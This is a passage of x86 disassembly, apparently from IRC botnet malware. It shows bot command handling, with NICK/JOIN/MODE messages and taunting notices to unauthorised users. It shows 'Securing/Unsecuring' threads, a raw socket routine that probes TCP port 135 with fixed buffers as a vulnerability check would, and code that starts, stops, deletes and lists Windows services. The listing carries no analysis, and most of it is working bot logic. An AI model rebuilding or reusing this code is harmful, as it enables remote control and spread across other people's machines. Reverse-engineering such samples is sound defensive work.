push 1Bh
push offset dword_433AC4
push offset dword_433AB4
loc_4124C2: ; CODE XREF: sub_40CD3A+FEAj
; sub_40CD3A+1013j ...
push [ebp+var_8]
push [ebp+var_4]
push [ebp+var_8C]
push [ebp+arg_4]
call sub_415062
add esp, 20h
jmp loc_40D18F
; ---------------------------------------------------------------------------
loc_4124DE: ; CODE XREF: sub_40CD3A+FABj
; sub_40CD3A+FC0j
mov edi, [ebp+esi+var_90]
cmp edi, ebx
jz short loc_4124FD
push edi
call sub_41587F
test eax, eax
pop ecx
jz short loc_4124FD
push edi
call sub_41587F
pop ecx
jmp short loc_412502
; ---------------------------------------------------------------------------
loc_4124FD: ; CODE XREF: sub_40CD3A+57ADj
; sub_40CD3A+57B8j
mov eax, dword_42C240
loc_412502: ; CODE XREF: sub_40CD3A+57C1j
mov esi, [ebp+esi+var_8C]
mov [ebp+var_38C], eax
cmp esi, ebx
jz short loc_412527
push esi
loc_412514: ; CODE XREF: sub_40CD3A+57FCj
lea eax, [ebp+var_39C]
push 10h
push eax
call sub_41588A
add esp, 0Ch
jmp short loc_41253E
; ---------------------------------------------------------------------------
loc_412527: ; CODE XREF: sub_40CD3A+57D7j
cmp [ebp+var_8FF], bl
jz short loc_412538
lea eax, [ebp+var_C0]
push eax
jmp short loc_412514
; ---------------------------------------------------------------------------
loc_412538: ; CODE XREF: sub_40CD3A+57F3j
mov [ebp+var_39C], bl
loc_41253E: ; CODE XREF: sub_40CD3A+57EBj
mov eax, [ebp+var_4]
push [ebp+var_8C]
mov esi, [ebp+arg_4]
mov [ebp+var_380], eax
mov eax, [ebp+var_8]
push 80h
mov [ebp+var_37C], eax
lea eax, [ebp+var_41C]
push eax
mov [ebp+var_420], esi
call sub_41588A
add esp, 0Ch
push [ebp+var_38C]
push esi
call sub_40A08A
pop ecx
push eax
lea eax, [ebp+var_2D8]
push offset unk_427DC8
push eax
call sub_415316
push ebx
lea eax, [ebp+var_2D8]
push 11h
push eax
call sub_414DDA
add esp, 1Ch
mov [ebp+var_388], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_420]
push ebx
push eax
push offset sub_407F42
push ebx
push ebx
call dword_42108C ; CreateThread
mov ecx, [ebp+var_388]
imul ecx, 234h
cmp eax, ebx
mov dword_441BAC[ecx], eax
jnz short loc_4125F2
call dword_421088 ; RtlGetLastWin32Error
push eax
push offset unk_433A68
jmp loc_412993
; ---------------------------------------------------------------------------
loc_4125EA: ; CODE XREF: sub_40CD3A+58BEj
push 32h
call dword_421060 ; Sleep
loc_4125F2: ; CODE XREF: sub_40CD3A+589Dj
cmp [ebp+var_378], ebx
jz short loc_4125EA
jmp loc_40D18F
; ---------------------------------------------------------------------------
loc_4125FF: ; CODE XREF: sub_40CD3A+F57j
; sub_40CD3A+F6Cj ...
push edi
push offset aSecure ; "secure"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz short loc_412627
push edi
push offset aSec ; "sec"
call sub_415730
pop ecx
mov [ebp+var_2E8], ebx
test eax, eax
pop ecx
jnz short loc_412631
loc_412627: ; CODE XREF: sub_40CD3A+58D4j
mov [ebp+var_2E8], 1
loc_412631: ; CODE XREF: sub_40CD3A+58EBj
push [ebp+var_8C]
lea eax, [ebp+var_36C]
push 80h
push eax
call sub_41588A
mov eax, [ebp+arg_4]
add esp, 0Ch
cmp [ebp+var_2E8], ebx
mov [ebp+var_370], eax
mov eax, [ebp+var_4]
mov [ebp+var_2E4], eax
mov eax, [ebp+var_8]
mov [ebp+var_2E0], eax
mov eax, offset aSecuring ; "Securing"
jnz short loc_412678
mov eax, offset aUnsecuring ; "Unsecuring"
loc_412678: ; CODE XREF: sub_40CD3A+5937j
push eax
push offset dword_433A18
lea eax, [ebp+var_2D8]
push 200h
push eax
call sub_41588A
push ebx
lea eax, [ebp+var_2D8]
push 19h
push eax
call sub_414DDA
add esp, 1Ch
mov [ebp+var_2EC], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_370]
push ebx
push eax
push offset sub_4144A0
push ebx
push ebx
call dword_42108C ; CreateThread
mov ecx, [ebp+var_2EC]
imul ecx, 234h
cmp eax, ebx
mov dword_441BAC[ecx], eax
jnz short loc_4126EF
call dword_421088 ; RtlGetLastWin32Error
push eax
push offset unk_4339C8
jmp loc_4108F0
; ---------------------------------------------------------------------------
loc_4126E7: ; CODE XREF: sub_40CD3A+59BBj
push 32h
call dword_421060 ; Sleep
loc_4126EF: ; CODE XREF: sub_40CD3A+599Aj
cmp [ebp+var_2DC], ebx
jz short loc_4126E7
jmp loc_40D68B
; ---------------------------------------------------------------------------
loc_4126FC: ; CODE XREF: sub_40CD3A+F2Dj
; sub_40CD3A+F42j
push offset aEnz999_9b ; "enz 999.9b"
push offset dword_4339A0
jmp loc_40F517
; ---------------------------------------------------------------------------
loc_41270B: ; CODE XREF: sub_40CD3A+F03j
; sub_40CD3A+F18j
mov esi, [ebp+esi+var_90]
cmp esi, ebx
jz short loc_412767
push esi
call sub_41587F
cmp eax, ebx
pop ecx
jl short loc_41275C
cmp eax, 2
jge short loc_41275C
mov edx, [ebp+arg_18]
mov ecx, eax
shl ecx, 7
lea esi, [ecx+edx]
cmp [esi], bl
jz short loc_412751
lea eax, [esi+1]
push eax
lea eax, [ebp+var_2D8]
push offset dword_436B80
push eax
call sub_415316
mov [esi], bl
jmp loc_40EB0A
; ---------------------------------------------------------------------------
loc_412751: ; CODE XREF: sub_40CD3A+59F9j
push eax
push offset dword_433960
jmp loc_40EAFE
; ---------------------------------------------------------------------------
loc_41275C: ; CODE XREF: sub_40CD3A+59E5j
; sub_40CD3A+59EAj
push eax
push offset dword_433920
jmp loc_40EAFE
; ---------------------------------------------------------------------------
loc_412767: ; CODE XREF: sub_40CD3A+59DAj
mov edi, [ebp+arg_18]
xor esi, esi
loc_41276C: ; CODE XREF: sub_40CD3A+5A4Ej
push [ebp+var_94]
push edi
call sub_415730
pop ecx
test eax, eax
pop ecx
jz short loc_41278F
inc esi
add edi, 80h
cmp esi, 2
jl short loc_41276C
jmp loc_40F8F6
; ---------------------------------------------------------------------------
loc_41278F: ; CODE XREF: sub_40CD3A+5A42j
mov eax, [ebp+arg_18]
shl esi, 7
mov [esi+eax], bl
lea eax, [ebp+var_C0]
push eax
push offset dword_436B80
jmp loc_40EAFE
; ---------------------------------------------------------------------------
loc_4127A9: ; CODE XREF: sub_40CD3A+ED9j
; sub_40CD3A+EEEj
push [ebp+var_90]
push offset dword_436AD8
call sub_415730
pop ecx
test eax, eax
pop ecx
jz short loc_412818
call sub_414F9D
push ebx
call dword_421114 ; ExitProcess
loc_4127CB: ; CODE XREF: sub_40CD3A+EAFj
; sub_40CD3A+EC4j
push [ebp+esi+var_90]
xor eax, eax
cmp [ebp+var_8F0], bl
setnz al
push eax
lea eax, [ebp+var_43C]
push dword_42C260
push eax
call sub_414278
lea eax, [ebp+var_43C]
push eax
push offset aNickS ; "NICK %s\r\n"
push [ebp+arg_4]
call sub_412B8B
lea eax, [ebp+var_43C]
push eax
push offset dword_4338E8
call sub_40B0EC
loc_412815: ; CODE XREF: sub_40CD3A+2A1Fj
add esp, 24h
loc_412818: ; CODE XREF: sub_40CD3A+61Dj
; sub_40CD3A+629j ...
mov eax, [ebp+arg_24]
jmp loc_40D192
; ---------------------------------------------------------------------------
loc_412820: ; CODE XREF: sub_40CD3A+ABBj
; sub_40CD3A+AD0j
mov esi, [ebp+esi+var_90]
cmp esi, ebx
mov [ebp+arg_0], esi
jz loc_40D18F
cmp [ebp+var_A4], ebx
jnz loc_40D18F
push offset dword_42F650
push [ebp+var_94]
call sub_416B3F
mov esi, eax
push offset dword_43B668
push ebx
inc esi
call sub_416B3F
push offset asc_4338E4 ; "~"
push eax
call sub_416B3F
push [ebp+arg_0]
mov edi, eax
push offset aHi ; "hi"
call sub_415730
add esp, 20h
test eax, eax
jz short loc_4128C8
lea eax, [ebp+var_C0]
push edi
push eax
lea eax, [ebp+var_C0]
push eax
push offset aNoticeSNiceTry ; "NOTICE %s :Nice try, idiot. (%s!%s).\r\n"
push [ebp+arg_4]
call sub_412B8B
lea eax, [ebp+var_C0]
push eax
push offset aNoticeSYouVeBe ; "NOTICE %s :You've been logged.\r\n"
push [ebp+arg_4]
call sub_412B8B
push edi
push esi
push offset dword_433858
loc_4128B4: ; CODE XREF: sub_40CD3A+5BE7j
lea eax, [ebp+var_2D8]
push eax
call sub_415316
add esp, 30h
jmp loc_40D68B
; ---------------------------------------------------------------------------
loc_4128C8: ; CODE XREF: sub_40CD3A+5B41j
mov [ebp+arg_24], ebx
loc_4128CB: ; CODE XREF: sub_40CD3A+5BAEj
mov eax, [ebp+arg_24]
push edi
push off_42C328[eax]
call sub_41512D
pop ecx
test eax, eax
pop ecx
jnz short loc_412923
add [ebp+arg_24], 4
cmp [ebp+arg_24], 4
jb short loc_4128CB
lea eax, [ebp+var_C0]
push edi
push eax
lea eax, [ebp+var_C0]
push eax
push offset aNoticeSNiceTry ; "NOTICE %s :Nice try, idiot. (%s!%s).\r\n"
push [ebp+arg_4]
call sub_412B8B
lea eax, [ebp+var_C0]
push eax
push offset aNoticeSYouVeBe ; "NOTICE %s :You've been logged.\r\n"
push [ebp+arg_4]
call sub_412B8B
push edi
push esi
push offset dword_433818
jmp short loc_4128B4
; ---------------------------------------------------------------------------
loc_412923: ; CODE XREF: sub_40CD3A+5BA4j
mov edi, [ebp+arg_18]
xor esi, esi
loc_412928: ; CODE XREF: sub_40CD3A+5C0Fj
cmp [edi], bl
jnz short loc_41293F
push [ebp+arg_0]
push offset aHi ; "hi"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz short loc_412950
loc_41293F: ; CODE XREF: sub_40CD3A+5BF0j
inc esi
add edi, 80h
cmp esi, 2
jl short loc_412928
jmp loc_40D18F
; ---------------------------------------------------------------------------
loc_412950: ; CODE XREF: sub_40CD3A+5C03j
shl esi, 7
add esi, [ebp+arg_18]
lea eax, [ebp+var_B10]
push 7Fh
push eax
push esi
call sub_416BE0
add esp, 0Ch
cmp [ebp+var_8], ebx
jnz short loc_412987
push ebx
push [ebp+var_4]
push offset dword_4337E4
push [ebp+var_8C]
push [ebp+arg_4]
call sub_412BD1
add esp, 14h
loc_412987: ; CODE XREF: sub_40CD3A+5C31j
lea eax, [ebp+var_C0]
push eax
push offset dword_4337B0
loc_412993: ; CODE XREF: sub_40CD3A+575j
; sub_40CD3A+552Bj ...
call sub_40B0EC
pop ecx
loc_412999: ; CODE XREF: sub_40CD3A+28C5j
pop ecx
jmp loc_40D18F
; ---------------------------------------------------------------------------
loc_41299F: ; CODE XREF: sub_40CD3A+200j
; sub_40CD3A+215j
push [ebp+arg_10]
push offset aUserhostS ; "USERHOST %s\r\n"
push [ebp+arg_4]
call sub_412B8B
push offset dword_42C2FC
push [ebp+arg_10]
push offset aModeSS ; "MODE %s %s\r\n"
push [ebp+arg_4]
call sub_412B8B
push [ebp+arg_C]
push [ebp+arg_8]
push offset aJoinSS ; "JOIN %s %s\r\n"
push [ebp+arg_4]
call sub_412B8B
add esp, 2Ch
mov dword_46B000, edi
jmp loc_40CFC9
sub_40CD3A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4129E5 proc near ; CODE XREF: sub_412A1D+125p
; sub_412A1D+14Cp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push esi
push edi
mov edi, [ebp+arg_4]
xor esi, esi
sub edi, [ebp+arg_C]
test edi, edi
jle short loc_412A13
loc_4129F6: ; CODE XREF: sub_4129E5+2Cj
push [ebp+arg_C]
mov eax, [ebp+arg_0]
add eax, esi
push [ebp+arg_8]
push eax
call sub_417950
add esp, 0Ch
test eax, eax
jz short loc_412A19
inc esi
cmp esi, edi
jl short loc_4129F6
loc_412A13: ; CODE XREF: sub_4129E5+Fj
xor al, al
loc_412A15: ; CODE XREF: sub_4129E5+36j
pop edi
pop esi
pop ebp
retn
; ---------------------------------------------------------------------------
loc_412A19: ; CODE XREF: sub_4129E5+27j
mov al, 1
jmp short loc_412A15
sub_4129E5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_412A1D proc near ; CODE XREF: sub_4033B6+88p
; sub_4033B6+174p
var_2010 = byte ptr -2010h
var_200E = byte ptr -200Eh
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, 2010h
call sub_415B90
mov eax, [ebp+arg_4]
push esi
dec eax
push edi
jz short loc_412A5E
dec eax
jz short loc_412A3C
dec eax
loc_412A36: ; CODE XREF: sub_412A1D+57j
xor eax, eax
loc_412A38: ; CODE XREF: sub_412A1D+3Fj
; sub_412A1D+169j
pop edi
pop esi
leave
retn
; ---------------------------------------------------------------------------
loc_412A3C: ; CODE XREF: sub_412A1D+16j
push 3
push 1388h
push [ebp+arg_0]
call dword_43CA64 ; inet_addr
push eax
call sub_40762E
add esp, 0Ch
neg eax
sbb eax, eax
and eax, 3
jmp short loc_412A38
; ---------------------------------------------------------------------------
loc_412A5E: ; CODE XREF: sub_412A1D+13j
push 6
push 1
push 2
call dword_43CAA4 ; socket
mov esi, eax
or edi, 0FFFFFFFFh
cmp esi, edi
mov [ebp+arg_4], esi
jz short loc_412A36
push ebx
xor ebx, ebx
push 10h
lea eax, [ebp+var_10]
push ebx
push eax
call sub_415390
add esp, 0Ch
mov [ebp+var_10], 2
push 87h
call dword_43CA24 ; ntohs
push [ebp+arg_0]
mov [ebp+var_E], ax
call sub_409F7A
pop ecx
mov [ebp+var_C], eax
lea eax, [ebp+var_10]
push 10h
push eax
push esi
call dword_43C9CC ; connect
cmp eax, edi
jz loc_412B7A
push ebx
push 48h
push offset dword_436BF8
push esi
call dword_43CA74 ; send
cmp eax, edi
jz loc_412B7A
mov esi, 2000h
push ebx
lea eax, [ebp+var_2010]
push esi
push eax
push [ebp+arg_4]
call dword_43CA3C ; recv
cmp eax, edi
jz loc_412B7A
cmp [ebp+var_200E], 0Ch
jnz short loc_412B7A
push ebx
push 18h
push offset dword_436C44
push [ebp+arg_4]
call dword_43CA74 ; send
cmp eax, edi
jz short loc_412B7A
push ebx
lea eax, [ebp+var_2010]
push esi
push eax
push [ebp+arg_4]
call dword_43CA3C ; recv
mov esi, eax
cmp esi, edi
jz short loc_412B7A
cmp [ebp+var_200E], 2
jnz short loc_412B7A
push 10h
push offset loc_436C60
lea eax, [ebp+var_2010]
push esi
push eax
call sub_4129E5
add esp, 10h
test al, al
jz short loc_412B5A
cmp esi, 12Ch
setnl bl
inc ebx
jmp short loc_412B7A
; ---------------------------------------------------------------------------
loc_412B5A: ; CODE XREF: sub_412A1D+12Fj
push 10h
push offset dword_436C74
lea eax, [ebp+var_2010]
push esi
push eax
call sub_4129E5
add esp, 10h
neg al
sbb eax, eax
and eax, 3
mov ebx, eax
loc_412B7A: ; CODE XREF: sub_412A1D+9Bj
; sub_412A1D+B2j ...
push [ebp+arg_4]
call dword_43CABC ; closesocket
mov eax, ebx
pop ebx
jmp loc_412A38
sub_412A1D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_412B8B proc near ; CODE XREF: sub_40CBBE+3Dp
; sub_40CD3A+1BDp ...
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
sub esp, 200h
lea eax, [ebp+arg_8]
push eax
lea eax, [ebp+var_200]
push [ebp+arg_4]
push 200h
push eax
call sub_41732F
add esp, 10h
lea eax, [ebp+var_200]
push 0
push eax
call sub_415B10
pop ecx
push eax
lea eax, [ebp+var_200]
push eax
push [ebp+arg_0]
call dword_43CA74 ; send
leave
retn
sub_412B8B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_412BD1 proc near ; CODE XREF: start+88p sub_401444+76p ...
var_400 = byte ptr -400h
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 400h
cmp [ebp+arg_C], 0
push esi
push edi
mov edi, offset aNotice ; "NOTICE"
jnz short loc_412BEC
mov edi, offset aPrivmsg ; "PRIVMSG"
loc_412BEC: ; CODE XREF: sub_412BD1+14j
push edi
call sub_415B10
push [ebp+arg_4]
mov esi, 1FAh
sub esi, eax
call sub_415B10
push [ebp+arg_8]
sub esi, eax
lea eax, [ebp+var_400]
push offset aS_1 ; "%s"
push esi
push eax
call sub_41588A
lea eax, [ebp+var_400]
push eax
lea eax, [ebp+var_200]
push [ebp+arg_4]
push edi
push offset dword_436C88
push eax
call sub_415316
add esp, 2Ch
lea eax, [ebp+var_200]
push 0
push eax
call sub_415B10
pop ecx
push eax
lea eax, [ebp+var_200]
push eax
push [ebp+arg_0]
call dword_43CA74 ; send
cmp [ebp+arg_10], 0
pop edi
pop esi
jz short locret_412C6A
push 7D0h
call dword_421060 ; Sleep
locret_412C6A: ; CODE XREF: sub_412BD1+8Cj
leave
retn
sub_412BD1 endp
; =============== S U B R O U T I N E =======================================
sub_412C6C proc near ; CODE XREF: sub_40CD3A:loc_40EB9Bp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push esi
push edi
mov edi, [esp+8+arg_4]
test edi, edi
jz short loc_412CD1
lea esi, [eax+eax*2]
push 0
shl esi, 2
push 0
push dword_436CA0[esi]
push edi
push eax
call sub_412CF3
add esp, 14h
test eax, eax
jnz short loc_412CB4
push edi
push off_436C9C[esi]
mov esi, offset dword_46B6D8
push offset dword_436DD4
push esi
call sub_415316
add esp, 10h
jmp short loc_412CEE
; ---------------------------------------------------------------------------
loc_412CB4: ; CODE XREF: sub_412C6C+2Aj
push eax
call sub_412D95
push eax
push edi
mov esi, offset dword_46B6D8
push offset dword_436D98
push esi
call sub_415316
add esp, 14h
jmp short loc_412CEE
; ---------------------------------------------------------------------------
loc_412CD1: ; CODE XREF: sub_412C6C+Cj
lea eax, [eax+eax*2]
mov esi, offset dword_46B6D8
push off_436C98[eax*4]
push offset dword_436D60
push esi
call sub_415316
add esp, 0Ch
loc_412CEE: ; CODE XREF: sub_412C6C+46j
; sub_412C6C+63j
mov eax, esi
pop edi
pop esi
retn
sub_412C6C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_412CF3 proc near ; CODE XREF: sub_412C6C+20p
var_1C = byte ptr -1Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 1Ch
push ebx
push edi
xor ebx, ebx
push 0F003Fh
push ebx
push ebx
call dword_43CA18 ; OpenSCManagerA
mov edi, eax
cmp edi, ebx
jnz short loc_412D1A
call dword_421088 ; RtlGetLastWin32Error
mov ebx, eax
jmp short loc_412D8F
; ---------------------------------------------------------------------------
loc_412D1A: ; CODE XREF: sub_412CF3+1Bj
push esi
push 0F01FFh
push [ebp+arg_4]
push edi
call dword_43C90C ; OpenServiceA
mov esi, eax
cmp esi, ebx
jnz short loc_412D3A
call dword_421088 ; RtlGetLastWin32Error
mov ebx, eax
jmp short loc_412D87
; ---------------------------------------------------------------------------
loc_412D3A: ; CODE XREF: sub_412CF3+3Bj
mov eax, [ebp+arg_0]
cmp eax, 1
jz short loc_412D6D
cmp eax, 3
jz short loc_412D5E
jle short loc_412D80
cmp eax, 6
jg short loc_412D80
lea eax, [ebp+var_1C]
push eax
push [ebp+arg_8]
push esi
call dword_43C974 ; ControlService
jmp short loc_412D74
; ---------------------------------------------------------------------------
loc_412D5E: ; CODE XREF: sub_412CF3+52j
push [ebp+arg_10]
push [ebp+arg_C]
push esi
call dword_43C914 ; StartServiceA
jmp short loc_412D74
; ---------------------------------------------------------------------------
loc_412D6D: ; CODE XREF: sub_412CF3+4Dj
push esi
call dword_43C978 ; DeleteService
loc_412D74: ; CODE XREF: sub_412CF3+69j
; sub_412CF3+78j
test eax, eax
jnz short loc_412D80
call dword_421088 ; RtlGetLastWin32Error
mov ebx, eax
loc_412D80: ; CODE XREF: sub_412CF3+54j
; sub_412CF3+59j ...
push esi
call dword_43C928 ; CloseServiceHandle
loc_412D87: ; CODE XREF: sub_412CF3+45j
push edi
call dword_43C928 ; CloseServiceHandle
pop esi
loc_412D8F: ; CODE XREF: sub_412CF3+25j
mov eax, ebx
pop edi
pop ebx
leave
retn
sub_412CF3 endp
; =============== S U B R O U T I N E =======================================
sub_412D95 proc near ; CODE XREF: sub_412C6C+49p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov ecx, 420h
cmp eax, ecx
ja loc_412E4A
jz loc_412E43
add ecx, 0FFFFFFFBh
cmp eax, ecx
ja short loc_412E0D
jz short loc_412E03
mov ecx, eax
sub ecx, 3
jz short loc_412DF9
dec ecx
dec ecx
jz short loc_412DEF
dec ecx
jz short loc_412DE5
sub ecx, 51h
jz short loc_412DDB
sub ecx, 24h
jnz loc_412EC0 ; default
; jumptable 00412E67 cases 1,5,6,8,9,12,13,15,16
push offset aTheSpecifiedSe ; "The specified service name is invalid."
jmp loc_412EB2
; ---------------------------------------------------------------------------
loc_412DDB: ; CODE XREF: sub_412D95+31j
push offset aTheRequestedCo ; "The requested control code is undefined"...
jmp loc_412EB2
; ---------------------------------------------------------------------------
loc_412DE5: ; CODE XREF: sub_412D95+2Cj
push offset aTheHandleIsInv ; "The handle is invalid."
jmp loc_412EB2
; ---------------------------------------------------------------------------
loc_412DEF: ; CODE XREF: sub_412D95+29j
push offset aTheHandleDoesN ; "The handle does not have the required a"...
jmp loc_412EB2
; ---------------------------------------------------------------------------
loc_412DF9: ; CODE XREF: sub_412D95+25j
push offset aTheServiceBina ; "The service binary file could not be fo"...
jmp loc_412EB2
; ---------------------------------------------------------------------------
loc_412E03: ; CODE XREF: sub_412D95+1Ej
push offset aTheServiceCann ; "The service cannot be stopped because o"...
jmp loc_412EB2
; ---------------------------------------------------------------------------
loc_412E0D: ; CODE XREF: sub_412D95+1Cj
mov ecx, eax
sub ecx, 41Ch
jz short loc_412E3C
dec ecx
jz short loc_412E35
dec ecx
jz short loc_412E2E
dec ecx
jnz loc_412EC0 ; default
; jumptable 00412E67 cases 1,5,6,8,9,12,13,15,16
push offset aTheDatabaseIsL ; "The database is locked."
jmp loc_412EB2
; ---------------------------------------------------------------------------
loc_412E2E: ; CODE XREF: sub_412D95+86j
push offset aAThreadCouldNo ; "A thread could not be created for the s"...
jmp short loc_412EB2
; ---------------------------------------------------------------------------
loc_412E35: ; CODE XREF: sub_412D95+83j
push offset aTheProcessForT ; "The process for the service was started"...
jmp short loc_412EB2
; ---------------------------------------------------------------------------
loc_412E3C: ; CODE XREF: sub_412D95+80j
push offset aTheRequested_0 ; "The requested control code is not valid"...
jmp short loc_412EB2
; ---------------------------------------------------------------------------
loc_412E43: ; CODE XREF: sub_412D95+11j
push offset aAnInstanceOfTh ; "An instance of the service is already r"...
jmp short loc_412EB2
; ---------------------------------------------------------------------------
loc_412E4A: ; CODE XREF: sub_412D95+Bj
mov ecx, 45Bh
cmp eax, ecx
ja short loc_412EC0 ; default
; jumptable 00412E67 cases 1,5,6,8,9,12,13,15,16
jz short loc_412EAD
lea ecx, [eax-422h]
cmp ecx, 11h ; switch 18 cases
ja short loc_412EC0 ; default
; jumptable 00412E67 cases 1,5,6,8,9,12,13,15,16
movzx ecx, byte_412F01[ecx]
jmp off_412ED9[ecx*4] ; switch jump
loc_412E6E: ; DATA XREF: .text:off_412ED9o
push offset aTheSpecifiedDa ; jumptable 00412E67 case 7
jmp short loc_412EB2
; ---------------------------------------------------------------------------
loc_412E75: ; CODE XREF: sub_412D95+D2j
; DATA XREF: .text:off_412ED9o
push offset aTheServiceDepe ; jumptable 00412E67 case 17
jmp short loc_412EB2
; ---------------------------------------------------------------------------
loc_412E7C: ; CODE XREF: sub_412D95+D2j
; DATA XREF: .text:off_412ED9o
push offset aTheServiceDe_0 ; jumptable 00412E67 case 10
jmp short loc_412EB2
; ---------------------------------------------------------------------------
loc_412E83: ; CODE XREF: sub_412D95+D2j
; DATA XREF: .text:off_412ED9o
push offset aTheServiceHasB ; jumptable 00412E67 case 0
jmp short loc_412EB2
; ---------------------------------------------------------------------------
loc_412E8A: ; CODE XREF: sub_412D95+D2j
; DATA XREF: .text:off_412ED9o
push offset aTheSpecified_0 ; jumptable 00412E67 case 2
jmp short loc_412EB2
; ---------------------------------------------------------------------------
loc_412E91: ; CODE XREF: sub_412D95+D2j
; DATA XREF: .text:off_412ED9o
push offset aTheServiceCoul ; jumptable 00412E67 case 11
jmp short loc_412EB2
; ---------------------------------------------------------------------------
loc_412E98: ; CODE XREF: sub_412D95+D2j
; DATA XREF: .text:off_412ED9o
push offset aTheServiceHa_0 ; jumptable 00412E67 case 14
jmp short loc_412EB2
; ---------------------------------------------------------------------------
loc_412E9F: ; CODE XREF: sub_412D95+D2j
; DATA XREF: .text:off_412ED9o
push offset aTheRequested_1 ; jumptable 00412E67 case 3
jmp short loc_412EB2
; ---------------------------------------------------------------------------
loc_412EA6: ; CODE XREF: sub_412D95+D2j
; DATA XREF: .text:off_412ED9o
push offset aTheServiceHasN ; jumptable 00412E67 case 4
jmp short loc_412EB2
; ---------------------------------------------------------------------------
loc_412EAD: ; CODE XREF: sub_412D95+BEj
push offset aTheSystemIsShu ; "The system is shutting down."
loc_412EB2: ; CODE XREF: sub_412D95+41j
; sub_412D95+4Bj ...
push offset dword_46B008
call sub_415316
pop ecx
pop ecx
jmp short loc_412ED3
; ---------------------------------------------------------------------------
loc_412EC0: ; CODE XREF: sub_412D95+36j
; sub_412D95+89j ...
push eax ; default
; jumptable 00412E67 cases 1,5,6,8,9,12,13,15,16
push offset aAnUnknownError ; "An unknown error occurred: <%ld>"
push offset dword_46B008
call sub_415316
add esp, 0Ch
loc_412ED3: ; CODE XREF: sub_412D95+129j
mov eax, offset dword_46B008
retn
sub_412D95 endp
; ---------------------------------------------------------------------------
off_412ED9 dd offset loc_412E83 ; DATA XREF: sub_412D95+D2r
dd offset loc_412E8A ; jump table for switch statement
dd offset loc_412E9F
dd offset loc_412EA6
dd offset loc_412E6E
dd offset loc_412E7C
dd offset loc_412E91
dd offset loc_412E98
dd offset loc_412E75
dd offset loc_412EC0
byte_412F01 db 0, 9, 1, 2 ; DATA XREF: sub_412D95+CBr
db 3, 9, 9, 4 ; indirect table for switch statement
db 9, 9, 5, 6
db 9, 9, 7, 9
db 9, 8
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_412F13 proc near ; CODE XREF: sub_40CD3A+1E8Cp
var_38C = byte ptr -38Ch
var_18C = byte ptr -18Ch
var_188 = byte ptr -188h
var_24 = byte ptr -24h
var_20 = byte ptr -20h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 38Ch
push ebx
push esi
push edi
xor ebx, ebx
push 0F003Fh
push ebx
push ebx
mov [ebp+var_8], ebx
call dword_43CA18 ; OpenSCManagerA
push ebx
mov [ebp+var_C], eax
push [ebp+arg_8]
push offset aTheFollowingWi ; "The following Windows services are regi"...
push [ebp+arg_4]
push [ebp+arg_0]
call sub_412BD1
add esp, 14h
loc_412F4B: ; CODE XREF: sub_412F13+123j
lea eax, [ebp+var_8]
loc_412F4E: ; DATA XREF: .text:off_42B8CCo
push eax
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_24]
push eax
lea eax, [ebp+var_18C]
push 168h
push eax
push 3
push 30h
push [ebp+var_C]
call dword_43C9E4 ; EnumServicesStatusA
test eax, eax
jnz short loc_412F85
call dword_421088 ; RtlGetLastWin32Error
cmp eax, 0EAh
jnz loc_41303C
loc_412F85: ; CODE XREF: sub_412F13+5Fj
xor edi, edi
cmp [ebp+var_4], ebx
jle loc_413033
lea esi, [ebp+var_188]
loc_412F96: ; CODE XREF: sub_412F13+11Aj
mov eax, [esi+8]
dec eax
jz short loc_412FE2
dec eax
jz short loc_412FDB
dec eax
jz short loc_412FD4
dec eax
jz short loc_412FCD
dec eax
jz short loc_412FC6
dec eax
jz short loc_412FBF
dec eax
lea eax, [ebp+var_20]
jz short loc_412FB8
push offset aUnknown_0 ; " Unknown"
jmp short loc_412FEA
; ---------------------------------------------------------------------------
loc_412FB8: ; CODE XREF: sub_412F13+9Cj
push offset aPaused_0 ; " Paused"
jmp short loc_412FEA
; ---------------------------------------------------------------------------
loc_412FBF: ; CODE XREF: sub_412F13+96j
push offset aPausing ; " Pausing"
jmp short loc_412FE7
; ---------------------------------------------------------------------------
loc_412FC6: ; CODE XREF: sub_412F13+93j
push offset aContinuing ; " Continuing"
jmp short loc_412FE7
; ---------------------------------------------------------------------------
loc_412FCD: ; CODE XREF: sub_412F13+90j
push offset aRunning_0 ; " Running"
jmp short loc_412FE7
; ---------------------------------------------------------------------------
loc_412FD4: ; CODE XREF: sub_412F13+8Dj
push offset aStoping ; " Stoping"
jmp short loc_412FE7
; ---------------------------------------------------------------------------
loc_412FDB: ; CODE XREF: sub_412F13+8Aj
push offset aStarting ; " Starting"
jmp short loc_412FE7
; ---------------------------------------------------------------------------
loc_412FE2: ; CODE XREF: sub_412F13+87j
push offset aStopped ; " Stopped"
loc_412FE7: ; CODE XREF: sub_412F13+B1j
; sub_412F13+B8j ...
lea eax, [ebp+var_20]
loc_412FEA: ; CODE XREF: sub_412F13+A3j
